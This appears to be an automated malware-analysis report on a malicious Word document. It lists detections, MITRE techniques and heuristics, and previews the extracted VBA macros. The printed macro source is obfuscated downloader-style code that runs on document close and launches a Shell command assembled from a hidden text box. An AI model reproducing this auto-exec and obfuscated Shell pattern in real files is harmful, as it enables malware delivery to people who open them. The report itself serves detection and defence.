MALICIOUS
250
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059 Command and Scripting Interpreter
T1204.002 Malicious File
The sample is a malicious Office document containing VBA macros. The macros utilize the Shell() function, a critical heuristic firing, to execute commands. This strongly suggests the document's purpose is to download and execute a secondary payload, a common technique for malware delivery. The presence of an Auto_Close macro further indicates an attempt at automatic execution upon document closure.
Heuristics 8
-
ClamAV: Doc.Downloader.Generic-6789659-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Generic-6789659-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
End Select P0997287 = Array(M99193163, Z09186463, F10983173, Interaction.Shell(CVar("" + Y95865923 + A7546930 + a0629037 + w1731428726725.TextBox1) + T925348 + E6087251, 13 - 13), n361105) Select Case M7623 -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox" Sub autoclose() a08368 -
Suspicious cmd.exe invocation with execution flag high SC_STR_CMDSuspicious cmd.exe invocation with execution flag
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4271 bytes |
SHA-256: e6173e7488042b6ba0bbf881aea559e1443882f560171bcbba3e43d29fe697ce |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "w1731428726725"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoclose()
a08368
End Sub
Attribute VB_Name = "z9089716793741"
Function a08368()
On Error Resume Next
Select Case j5928
Case 181929357
p7089 = a6145
r004 = Rnd(Z4877 - Round(p683) / 190096220 - Round(D3776))
V1035 = h646
N071 = Rnd(f599 * Tan(51668273))
Case 60821191
I260 = A1994
d473 = c1123
End Select
Select Case l6769
Case 257649124
i1452 = K770
K0549 = Rnd(X9310 - Round(n604) / 40729899 - Round(f524))
k676 = J947
O912 = Rnd(n811 * Tan(187921255))
Case 165069962
p7932 = j158
m8934 = j484
End Select
P0997287 = Array(M99193163, Z09186463, F10983173, Interaction.Shell(CVar("" + Y95865923 + A7546930 + a0629037 + w1731428726725.TextBox1) + T925348 + E6087251, 13 - 13), n361105)
Select Case M7623
Case 184206949
W736 = C3678
j1081 = Rnd(q606 - Round(r440) / 199448817 - Round(c9384))
D690 = Q4640
q9656 = Rnd(S870 * Tan(108283524))
Case 267422334
J8541 = Z9399
L243 = w8956
End Select
Select Case l5116
Case 136258102
X032 = A3599
n1240 = Rnd(i988 - Round(z5667) / 71165780 - Round(K7899))
G1328 = j0968
U4605 = Rnd(h3618 * Tan(218499608))
Case 11700963
C773 = z253
t5101 = G0803
End Select
Select Case f1231
Case 327691428
N883 = Q785
i209 = Rnd(S9321 - Round(q499) / 145640151 - Round(w453))
H8559 = E5497
s891 = Rnd(i3100 * Tan(60921730))
Case 151546857
u573 = W1301
R661 = i752
End Select
End Function
Attribute VB_Name = "z5018489198"
Attribute VB_Name = "d6516183"
Attribute VB_Name = "C52160478"
Attribute VB_Name = "D56965152464643"
Attribute VB_Name = "z1426396632"
Attribute VB_Name = "H151620206792"
Attribute VB_Name = "G7746977286"
Attribute VB_Name = "z306636059"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Q1673454506"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "q543300291"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "R769229316725"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "p4007227"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "j29235121"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "p539863393989"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.